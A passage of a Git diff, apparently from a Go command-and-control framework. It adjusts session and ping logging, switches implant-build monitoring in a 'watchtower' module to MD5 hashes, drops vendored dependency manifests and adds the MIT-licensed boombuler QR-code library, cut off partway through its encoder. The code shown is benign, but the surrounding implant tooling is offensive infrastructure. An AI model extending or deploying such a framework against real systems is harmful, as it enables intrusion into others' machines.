-		sessionUUID = uuid.New()
+		sessionUUID = uuid.New() // Generate Random UUID
 	}
-
 	session.Name = register.Name
 	session.Hostname = register.Hostname
 	session.UUID = sessionUUID.String()
@@ -161,5 +159,5 @@ func tunnelCloseHandler(session *core.Session, data []byte) {
 }
 
 func pingHandler(session *core.Session, data []byte) {
-	handlerLog.Infof("ping from session %d", session.ID)
+	handlerLog.Debugf("ping from session %d", session.ID)
 }

server/watchtower/watchtower.go

@@ -21,8 +21,8 @@ var (
 
 func update(implantBuild *models.ImplantBuild) {
 	if watcher != nil && initialized {
-		watchtowerLog.Debugf("Monitoring implant %s (%s)", implantBuild.Name, implantBuild.Checksum)
-		watcher.Add(implantBuild.Name, implantBuild.Checksum)
+		watchtowerLog.Debugf("Monitoring implant %s (%s)", implantBuild.Name, implantBuild.MD5)
+		watcher.Add(implantBuild.Name, implantBuild.MD5)
 		watchtowerLog.Debugf("Implant added to the watch list")
 	}
 }

util/encoders/encoders.go

@@ -55,7 +55,7 @@ func EncoderFromNonce(nonce int) (int, Encoder, error) {
 	if encoder, ok := EncoderMap[encoderID]; ok {
 		return encoderID, encoder, nil
 	}
-	return -1, nil, errors.New("{{if .Config.Debug}}Invalid encoder nonce{{end}}")
+	return -1, nil, errors.New("Invalid encoder nonce")
 }
 
 // RandomEncoder - Get a random nonce identifier and a matching encoder

vendor/github.com/AlecAivazis/survey/v2/go.mod

@@ -1,19 +0,0 @@
-module github.com/AlecAivazis/survey/v2
-
-require (
-	github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8
-	github.com/davecgh/go-spew v1.1.1 // indirect
-	github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174
-	github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51
-	github.com/kr/pty v1.1.4 // indirect
-	github.com/mattn/go-colorable v0.1.2 // indirect
-	github.com/mattn/go-isatty v0.0.8
-	github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b
-	github.com/pmezard/go-difflib v1.0.0 // indirect
-	github.com/stretchr/testify v1.2.1
-	golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5
-	golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1 // indirect
-	golang.org/x/text v0.3.0
-)
-
-go 1.13

vendor/github.com/AlecAivazis/survey/v2/go.sum

@@ -1,31 +0,0 @@
-github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8 h1:xzYJEypr/85nBpB11F9br+3HUrpgb+fcm5iADzXXYEw=
-github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
-github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
-github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
-github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174 h1:WlZsjVhE8Af9IcZDGgJGQpNflI3+MJSBhsgT5PCtzBQ=
-github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
-github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
-github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
-github.com/kr/pty v1.1.4 h1:5Myjjh3JY/NaAi4IsUbHADytDyl1VE1Y9PXDlL+P/VQ=
-github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
-github.com/mattn/go-colorable v0.1.2 h1:/bC9yWikZXAL9uJdulbSfyVNIR3n3trXl+v8+1sx8mU=
-github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
-github.com/mattn/go-isatty v0.0.8 h1:HLtExJ+uU2HOZ+wI0Tt5DtUDrx8yhUqDcp7fYERX4CE=
-github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
-github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
-github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
-github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
-github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
-github.com/stretchr/testify v1.2.1 h1:52QO5WkIUcHGIR7EnGagH88x1bUzqGXTC5/1bDTUQ7U=
-github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
-golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
-golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5 h1:8dUaAV7K4uHsF56JQWkprecIQKdPHtR9jCHF5nB8uzc=
-golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
-golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
-golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1 h1:R4dVlxdmKenVdMRS/tTspEpSTRWINYrHD8ySIU9yCIU=
-golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg=
-golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=

vendor/github.com/VirusTotal/vt-go/go.mod

@@ -1,8 +0,0 @@
-module github.com/VirusTotal/vt-go
-
-go 1.14
-
-require (
-	github.com/stretchr/testify v1.7.0
-	github.com/thedevsaddam/gojsonq/v2 v2.5.2
-)

vendor/github.com/VirusTotal/vt-go/go.sum

@@ -1,13 +0,0 @@
-github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
-github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
-github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
-github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
-github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
-github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
-github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
-github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
-github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
-gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
-gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
-gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
-gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

vendor/github.com/alecthomas/chroma/go.mod

@@ -1,18 +0,0 @@
-module github.com/alecthomas/chroma
-
-go 1.13
-
-require (
-	github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38
-	github.com/alecthomas/colour v0.0.0-20160524082231-60882d9e2721 // indirect
-	github.com/alecthomas/kong v0.2.4
-	github.com/alecthomas/repr v0.0.0-20180818092828-117648cd9897 // indirect
-	github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964
-	github.com/dlclark/regexp2 v1.2.0
-	github.com/mattn/go-colorable v0.1.6
-	github.com/mattn/go-isatty v0.0.12
-	github.com/pkg/errors v0.9.1 // indirect
-	github.com/sergi/go-diff v1.0.0 // indirect
-	github.com/stretchr/testify v1.3.0 // indirect
-	golang.org/x/sys v0.0.0-20200413165638-669c56c373c4 // indirect
-)

vendor/github.com/alecthomas/chroma/go.sum

@@ -1,36 +0,0 @@
-github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38 h1:smF2tmSOzy2Mm+0dGI2AIUHY+w0BUc+4tn40djz7+6U=
-github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38/go.mod h1:r7bzyVFMNntcxPZXK3/+KdruV1H5KSlyVY0gc+NgInI=
-github.com/alecthomas/colour v0.0.0-20160524082231-60882d9e2721 h1:JHZL0hZKJ1VENNfmXvHbgYlbUOvpzYzvy2aZU5gXVeo=
-github.com/alecthomas/colour v0.0.0-20160524082231-60882d9e2721/go.mod h1:QO9JBoKquHd+jz9nshCh40fOfO+JzsoXy8qTHF68zU0=
-github.com/alecthomas/kong v0.2.4 h1:Y0ZBCHAvHhTHw7FFJ2FzCAAG4pkbTgA45nc7BpMhDNk=
-github.com/alecthomas/kong v0.2.4/go.mod h1:kQOmtJgV+Lb4aj+I2LEn40cbtawdWJ9Y8QLq+lElKxE=
-github.com/alecthomas/repr v0.0.0-20180818092828-117648cd9897 h1:p9Sln00KOTlrYkxI1zYWl1QLnEqAqEARBEYa8FQnQcY=
-github.com/alecthomas/repr v0.0.0-20180818092828-117648cd9897/go.mod h1:xTS7Pm1pD1mvyM075QCDSRqH6qRLXylzS24ZTpRiSzQ=
-github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 h1:y5HC9v93H5EPKqaS1UYVg1uYah5Xf51mBfIoWehClUQ=
-github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964/go.mod h1:Xd9hchkHSWYkEqJwUGisez3G1QY8Ryz0sdWrLPMGjLk=
-github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
-github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
-github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
-github.com/dlclark/regexp2 v1.2.0 h1:8sAhBGEM0dRWogWqWyQeIJnxjWO6oIjl8FKqREDsGfk=
-github.com/dlclark/regexp2 v1.2.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
-github.com/mattn/go-colorable v0.1.6 h1:6Su7aK7lXmJ/U79bYtBjLNaha4Fs1Rg9plHpcH+vvnE=
-github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
-github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
-github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
-github.com/pkg/errors v0.8.1 h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I=
-github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
-github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
-github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
-github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
-github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
-github.com/sergi/go-diff v1.0.0 h1:Kpca3qRNrduNnOQeazBd0ysaKrUJiIuISHxogkT9RPQ=
-github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
-github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
-github.com/stretchr/testify v1.2.2 h1:bSDNvY7ZPG5RlJ8otE/7V6gMiyenm9RtJ7IUVIAoJ1w=
-github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
-github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q=
-github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
-golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20200413165638-669c56c373c4 h1:opSr2sbRXk5X5/givKrrKj9HXxFpW2sdCiP8MJSKLQY=
-golang.org/x/sys v0.0.0-20200413165638-669c56c373c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=

vendor/github.com/boombuler/barcode/.gitignore

@@ -0,0 +1 @@
+.vscode/

vendor/github.com/boombuler/barcode/LICENSE

@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2014 Florian Sundermann
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

vendor/github.com/boombuler/barcode/README.md

@@ -0,0 +1,53 @@
+[![Join the chat at https://gitter.im/golang-barcode/Lobby](https://badges.gitter.im/golang-barcode/Lobby.svg)](https://gitter.im/golang-barcode/Lobby?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
+
+## Introduction ##
+
+This is a package for GO which can be used to create different types of barcodes.
+
+## Supported Barcode Types ##
+* 2 of 5
+* Aztec Code
+* Codabar
+* Code 128
+* Code 39
+* Code 93
+* Datamatrix
+* EAN 13
+* EAN 8
+* PDF 417
+* QR Code
+
+## Example ##
+
+This is a simple example on how to create a QR-Code and write it to a png-file
+```go
+package main
+
+import (
+	"image/png"
+	"os"
+
+	"github.com/boombuler/barcode"
+	"github.com/boombuler/barcode/qr"
+)
+
+func main() {
+	// Create the barcode
+	qrCode, _ := qr.Encode("Hello World", qr.M, qr.Auto)
+
+	// Scale the barcode to 200x200 pixels
+	qrCode, _ = barcode.Scale(qrCode, 200, 200)
+
+	// create the output file
+	file, _ := os.Create("qrcode.png")
+	defer file.Close()
+
+	// encode the barcode as png
+	png.Encode(file, qrCode)
+}
+```
+
+## Documentation ##
+See [GoDoc](https://godoc.org/github.com/boombuler/barcode)
+
+To create a barcode use the Encode function from one of the subpackages.

vendor/github.com/boombuler/barcode/barcode.go

@@ -0,0 +1,42 @@
+package barcode
+
+import "image"
+
+const (
+	TypeAztec           = "Aztec"
+	TypeCodabar         = "Codabar"
+	TypeCode128         = "Code 128"
+	TypeCode39          = "Code 39"
+	TypeCode93          = "Code 93"
+	TypeDataMatrix      = "DataMatrix"
+	TypeEAN8            = "EAN 8"
+	TypeEAN13           = "EAN 13"
+	TypePDF             = "PDF417"
+	TypeQR              = "QR Code"
+	Type2of5            = "2 of 5"
+	Type2of5Interleaved = "2 of 5 (interleaved)"
+)
+
+// Contains some meta information about a barcode
+type Metadata struct {
+	// the name of the barcode kind
+	CodeKind string
+	// contains 1 for 1D barcodes or 2 for 2D barcodes
+	Dimensions byte
+}
+
+// a rendered and encoded barcode
+type Barcode interface {
+	image.Image
+	// returns some meta information about the barcode
+	Metadata() Metadata
+	// the data that was encoded in this barcode
+	Content() string
+}
+
+// Additional interface that some barcodes might implement to provide
+// the value of its checksum.
+type BarcodeIntCS interface {
+	Barcode
+	CheckSum() int
+}

vendor/github.com/boombuler/barcode/qr/alphanumeric.go

@@ -0,0 +1,66 @@
+package qr
+
+import (
+	"errors"
+	"fmt"
+	"strings"
+
+	"github.com/boombuler/barcode/utils"
+)
+
+const charSet string = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:"
+
+func stringToAlphaIdx(content string) <-chan int {
+	result := make(chan int)
+	go func() {
+		for _, r := range content {
+			idx := strings.IndexRune(charSet, r)
+			result <- idx
+			if idx < 0 {
+				break
+			}
+		}
+		close(result)
+	}()
+
+	return result
+}
+
+func encodeAlphaNumeric(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
+
+	contentLenIsOdd := len(content)%2 == 1
+	contentBitCount := (len(content) / 2) * 11
+	if contentLenIsOdd {
+		contentBitCount += 6
+	}
+	vi := findSmallestVersionInfo(ecl, alphaNumericMode, contentBitCount)
+	if vi == nil {
+		return nil, nil, errors.New("To much data to encode")
+	}
+
+	res := new(utils.BitList)
+	res.AddBits(int(alphaNumericMode), 4)
+	res.AddBits(len(content), vi.charCountBits(alphaNumericMode))
+
+	encoder := stringToAlphaIdx(content)
+
+	for idx := 0; idx < len(content)/2; idx++ {
+		c1 := <-encoder
+		c2 := <-encoder
+		if c1 < 0 || c2 < 0 {
+			return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, AlphaNumeric)
+		}
+		res.AddBits(c1*45+c2, 11)
+	}
+	if contentLenIsOdd {
+		c := <-encoder
+		if c < 0 {
+			return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, AlphaNumeric)
+		}
+		res.AddBits(c, 6)
+	}
+
+	addPaddingAndTerminator(res, vi)
+
+	return res, vi, nil
+}

vendor/github.com/boombuler/barcode/qr/automatic.go

@@ -0,0 +1,23 @@
+package qr
+
+import (
+	"fmt"
+
+	"github.com/boombuler/barcode/utils"
+)
+
+func encodeAuto(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
+	bits, vi, _ := Numeric.getEncoder()(content, ecl)
+	if bits != nil && vi != nil {
+		return bits, vi, nil
+	}
+	bits, vi, _ = AlphaNumeric.getEncoder()(content, ecl)
+	if bits != nil && vi != nil {
+		return bits, vi, nil
+	}
+	bits, vi, _ = Unicode.getEncoder()(content, ecl)
+	if bits != nil && vi != nil {
+		return bits, vi, nil
+	}
+	return nil, nil, fmt.Errorf("No encoding found to encode \"%s\"", content)
+}

vendor/github.com/boombuler/barcode/qr/blocks.go

@@ -0,0 +1,59 @@
+package qr
+
+type block struct {
+	data []byte
+	ecc  []byte
+}
+type blockList []*block
+
+func splitToBlocks(data <-chan byte, vi *versionInfo) blockList {
+	result := make(blockList, vi.NumberOfBlocksInGroup1+vi.NumberOfBlocksInGroup2)
+
+	for b := 0; b < int(vi.NumberOfBlocksInGroup1); b++ {
+		blk := new(block)
+		blk.data = make([]byte, vi.DataCodeWordsPerBlockInGroup1)
+		for cw := 0; cw < int(vi.DataCodeWordsPerBlockInGroup1); cw++ {
+			blk.data[cw] = <-data
+		}
+		blk.ecc = ec.calcECC(blk.data, vi.ErrorCorrectionCodewordsPerBlock)
+		result[b] = blk
+	}
+
+	for b := 0; b < int(vi.NumberOfBlocksInGroup2); b++ {
+		blk := new(block)
+		blk.data = make([]byte, vi.DataCodeWordsPerBlockInGroup2)
+		for cw := 0; cw < int(vi.DataCodeWordsPerBlockInGroup2); cw++ {
+			blk.data[cw] = <-data
+		}
+		blk.ecc = ec.calcECC(blk.data, vi.ErrorCorrectionCodewordsPerBlock)
+		result[int(vi.NumberOfBlocksInGroup1)+b] = blk
+	}
+
+	return result
+}
+
+func (bl blockList) interleave(vi *versionInfo) []byte {
+	var maxCodewordCount int
+	if vi.DataCodeWordsPerBlockInGroup1 > vi.DataCodeWordsPerBlockInGroup2 {
+		maxCodewordCount = int(vi.DataCodeWordsPerBlockInGroup1)
+	} else {
+		maxCodewordCount = int(vi.DataCodeWordsPerBlockInGroup2)
+	}
+	resultLen := (vi.DataCodeWordsPerBlockInGroup1+vi.ErrorCorrectionCodewordsPerBlock)*vi.NumberOfBlocksInGroup1 +
+		(vi.DataCodeWordsPerBlockInGroup2+vi.ErrorCorrectionCodewordsPerBlock)*vi.NumberOfBlocksInGroup2
+
+	result := make([]byte, 0, resultLen)
+	for i := 0; i < maxCodewordCount; i++ {
+		for b := 0; b < len(bl); b++ {
+			if len(bl[b].data) > i {
+				result = append(result, bl[b].data[i])
+			}
+		}
+	}
+	for i := 0; i < int(vi.ErrorCorrectionCodewordsPerBlock); i++ {
+		for b := 0; b < len(bl); b++ {
+			result = append(result, bl[b].ecc[i])
+		}
+	}
+	return result
+}

vendor/github.com/boombuler/barcode/qr/encoder.go

@@ -0,0 +1,416 @@
+// Package qr can be used to create QR barcodes.
+package qr
+
+import (
+	"image"
+
+	"github.com/boombuler/barcode"
+	"github.com/boombuler/barcode/utils"
+)
+
+type encodeFn func(content string, eccLevel ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error)
+
+// Encoding mode for QR Codes.
+type Encoding byte
+
+const (
+	// Auto will choose ths best matching encoding
+	Auto Encoding = iota
+	// Numeric encoding only encodes numbers [0-9]
+	Numeric
+	// AlphaNumeric encoding only encodes uppercase letters, numbers and  [Space], $, %, *, +, -, ., /, :
+	AlphaNumeric
+	// Unicode encoding encodes the string as utf-8
+	Unicode
+	// only for testing purpose
+	unknownEncoding
+)
+
+func (e Encoding) getEncoder() encodeFn {
+	switch e {
+	case Auto:
+		return encodeAuto
+	case Numeric:
+		return encodeNumeric
+	case AlphaNumeric:
+		return encodeAlphaNumeric
+	case Unicode:
+		return encodeUnicode
+	}
+	return nil
+}
+
+func (e Encoding) String() string {
+	switch e {
+	case Auto:
+		return "Auto"
+	case Numeric:
+		return "Numeric"
+	case AlphaNumeric:
+		return "AlphaNumeric"
+	case Unicode:
+		return "Unicode"
+	}
+	return ""
+}
+
+// Encode returns a QR barcode with the given content, error correction level and uses the given encoding
+func Encode(content string, level ErrorCorrectionLevel, mode Encoding) (barcode.Barcode, error) {
+	bits, vi, err := mode.getEncoder()(content, level)
+	if err != nil {
+		return nil, err
+	}
+
+	blocks := splitToBlocks(bits.IterateBytes(), vi)
+	data := blocks.interleave(vi)
+	result := render(data, vi)
+	result.content = content
+	return result, nil
+}
+
+func render(data []byte, vi *versionInfo) *qrcode {
+	dim := vi.modulWidth()
+	results := make([]*qrcode, 8)
+	for i := 0; i < 8; i++ {
+		results[i] = newBarcode(dim)
+	}
+
+	occupied := newBarcode(dim)
+
+	setAll := func(x int, y int, val bool) {
+		occupied.Set(x, y, true)
+		for i := 0; i < 8; i++ {
+			results[i].Set(x, y, val)
+		}
+	}
+
+	drawFinderPatterns(vi, setAll)
+	drawAlignmentPatterns(occupied, vi, setAll)
+
+	//Timing Pattern:
+	var i int
+	for i = 0; i < dim; i++ {
+		if !occupied.Get(i, 6) {
+			setAll(i, 6, i%2 == 0)
+		}
+		if !occupied.Get(6, i) {
+			setAll(6, i, i%2 == 0)
+		}
+	}
+	// Dark Module
+	setAll(8, dim-8, true)
+
+	drawVersionInfo(vi, setAll)
+	drawFormatInfo(vi, -1, occupied.Set)
+	for i := 0; i < 8; i++ {
+		drawFormatInfo(vi, i, results[i].Set)
+	}
+
+	// Write the data
+	var curBitNo int
+
+	for pos := range iterateModules(occupied) {
+		var curBit bool
+		if curBitNo < len(data)*8 {
+			curBit = ((data[curBitNo/8] >> uint(7-(curBitNo%8))) & 1) == 1
+		} else {
+			curBit = false
+		}
+
+		for i := 0; i < 8; i++ {
+			setMasked(pos.X, pos.Y, curBit, i, results[i].Set)
+		}
+		curBitNo++
+	}
+
+	lowestPenalty := ^uint(0)
+	lowestPenaltyIdx := -1
+	for i := 0; i < 8; i++ {
+		p := results[i].calcPenalty()
+		if p < lowestPenalty {
+			lowestPenalty = p
+			lowestPenaltyIdx = i
+		}
+	}
+	return results[lowestPenaltyIdx]
+}
+
+func setMasked(x, y int, val bool, mask int, set func(int, int, bool)) {
+	switch mask {
+	case 0:
+		val = val != (((y + x) % 2) == 0)
+		break
+	case 1:
+		val = val != ((y % 2) == 0)
+		break
+	case 2:
+		val = val != ((x % 3) == 0)
+		break
+	case 3:
+		val = val != (((y + x) % 3) == 0)
+		break
+	case 4:
+		val = val != (((y/2 + x/3) % 2) == 0)
+		break
+	case 5:
+		val = val != (((y*x)%2)+((y*x)%3) == 0)
+		break
+	case 6:
+		val = val != ((((y*x)%2)+((y*x)%3))%2 == 0)
+		break
+	case 7:
+		val = val != ((((y+x)%2)+((y*x)%3))%2 == 0)
+	}
+	set(x, y, val)
+}
+
+func iterateModules(occupied *qrcode) <-chan image.Point {
+	result := make(chan image.Point)
+	allPoints := make(chan image.Point)
+	go func() {
+		curX := occupied.dimension - 1
+		curY := occupied.dimension - 1
+		isUpward := true
+
+		for true {
+			if isUpward {
+				allPoints <- image.Pt(curX, curY)
+				allPoints <- image.Pt(curX-1, curY)
+				curY--
+				if curY < 0 {
+					curY = 0
+					curX -= 2
+					if curX == 6 {
+						curX--
+					}
+					if curX < 0 {
+						break
+					}
+					isUpward = false
+				}
+			} else {
+				allPoints <- image.Pt(curX, curY)
+				allPoints <- image.Pt(curX-1, curY)
+				curY++
+				if curY >= occupied.dimension {
+					curY = occupied.dimension - 1
+					curX -= 2
+					if curX == 6 {
+						curX--
+					}
+					isUpward = true
+					if curX < 0 {
+						break
+					}
+				}
+			}
+		}
+
+		close(allPoints)
+	}()
+	go func() {
+		for pt := range allPoints {
+			if !occupied.Get(pt.X, pt.Y) {
+				result <- pt
+			}
+		}
+		close(result)
+	}()
+	return result
+}
+
+func drawFinderPatterns(vi *versionInfo, set func(int, int, bool)) {
+	dim := vi.modulWidth()
+	drawPattern := func(xoff int, yoff int) {
+		for x := -1; x < 8; x++ {
+			for y := -1; y < 8; y++ {
+				val := (x == 0 || x == 6 || y == 0 || y == 6 || (x > 1 && x < 5 && y > 1 && y < 5)) && (x <= 6 && y <= 6 && x >= 0 && y >= 0)
+
+				if x+xoff >= 0 && x+xoff < dim && y+yoff >= 0 && y+yoff < dim {
+					set(x+xoff, y+yoff, val)
+				}
+			}
+		}
+	}
+	drawPattern(0, 0)
+	drawPattern(0, dim-7)
+	drawPattern(dim-7, 0)
+}
+
+func drawAlignmentPatterns(occupied *qrcode, vi *versionInfo, set func(int, int, bool)) {
+	drawPattern := func(xoff int, yoff int) {
+		for x := -2; x <= 2; x++ {
+			for y := -2; y <= 2; y++ {
+				val := x == -2 || x == 2 || y == -2 || y == 2 || (x == 0 && y == 0)
+				set(x+xoff, y+yoff, val)
+			}
+		}
+	}
+	positions := vi.alignmentPatternPlacements()
+
+	for _, x := range positions {
+		for _, y := range positions {
+			if occupied.Get(x, y) {
+				continue
